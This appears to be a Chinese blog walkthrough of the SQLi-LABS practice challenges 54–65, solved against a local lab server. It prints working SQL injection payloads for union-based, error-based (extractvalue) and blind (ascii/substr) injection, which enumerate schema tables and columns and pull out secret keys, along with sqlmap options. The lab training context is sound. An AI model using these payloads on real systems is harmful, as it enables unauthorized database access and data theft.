SQLi-LABS (Challenges) 54-65关

SQLi-LABS (Challenges) 54-65关

这一系列的关卡都有个限制,对我们之前所学的知识进行更深层次的运用。

Less-54

这一关的数据库每10次查询后会自动重置随机生成新的表名和列名数据,需要我我们在10次尝试以内得出 secret key 。

联合注入

这里再重新演示一次正常的联合注入流程

  • 判断闭合方式和参数数据类型
http://192.168.91.134/sqli-labs/Less-54/?id=1    正常
http://192.168.91.134/sqli-labs/Less-54/?id=1'    没有返回

从这2步可以看出,这里是字符型的参数,并且闭合方式一定是'$id'或者('$id')两者之一。

  • 判断字段数
?id=1' order by 3--+    正常
?id=1' order by 4--+    没有返回

得出查询返回的字段数有3个

  • 查询有可注入的字段
?id=-1' union select 1,2,3 --+
image-20210306152449878

可见字段2,3是可以显示出来的。

  • 查询表名
?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()) --+
image-20210306152613507

可知表名为 ttyxbfpvca

  • 查询字段名
?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='ttyxbfpvca') --+
image-20210306152822385

查到有 id、sessid、secret_IVAU、tryy 这些字段

  • 查询数据
?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(secret_IVAU)+FROM+ttyxbfpvca) --+
image-20210306153106710

拿到 secret key 值为:J1rzyGdPRiKwK5I4iaNlCwuT

Less-55

这一关和 Less-54 基本一致,给了14次机会,闭合方式改为了($id)

Less-56

这一关和 Less-54 相比只是闭合方式换成了('$id'),给了14次机会。

Less-57

这一关和 Less-54 基本一致,给了14次机会,闭合方式改为了"$id"

Less-58

这一关只给了5次机会,当然如果知道了要使用什么注入方法后也能绰绰有余

  • 查看代码
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = ($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo 'Your Password : ' .$pass[$row['id']];

这里查询成功只给你回显预定数组里面的数据,并不是直接回显查询结果,因此无法使用联合注入,我们可以尝试报错注入。

报错注入

这里再演示一次报错注入:

  • 查询表名
?id=-1' and (select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))--+
image-20210306155346027

得知表名为:7dvdblb1tl

  • 查询字段名
?id=-1' and (select extractvalue(1,concat(0x7e,(select group_concat(column_name+SEPARATOR+0x3c62723e) from information_schema.columns where table_name='7dvdblb1tl'),0x7e)))--+
image-20210306155750151

由于报错注入回显的字符数有限,如果想要后面的信息,可以加 limit 来限制数量

这我们已经可以知道想要的字段名为:secret_UPZ7

  • 查询数据
?id=-1' and (select extractvalue(1,concat(0x7e,(select secret_UPZ7 from 7dvdblb1tl),0x7e)))--+

得到 secret key 为: JrOfRpU234sYeim4AJuv6zVw

Less-59

本关与 Less-58 的思路一样,只是参数的数据类型换成了数字型。

Less-60

本关与 Less-58 的思路一样,只是闭合方式改为了("$id")

Less-61

本关与 Less-58 的思路一样,只是闭合方式改为了(('$id'))

Less-62

这一关把错误信息显示也屏蔽了,因此只能使用盲注了,由于盲注需要尝试的步骤也比较多,因此这里也给出了130次的机会。同时应该注意到这里的闭合方式为('$id')

http://192.168.91.134/sqli-labs/Less-62/index.php/?id=1') and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1))) > 1--+

这里给出sqlmap的结果,注意如果已经运行过一次的话第二次需要清除缓存和cookie

--flush-session --fresh-queries
image-20210306172703280

Less-63

与 Less-62 注入方式一致,只是闭合方式为'$id'

Less-64

与 Less-62 注入方式一致,只是闭合方式为(($id))

Less-65

与 Less-62 注入方式一致,只是闭合方式为("$di")

参考资料

评论

  1. 111
    3月前
    2023-3-09 15:31:23

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇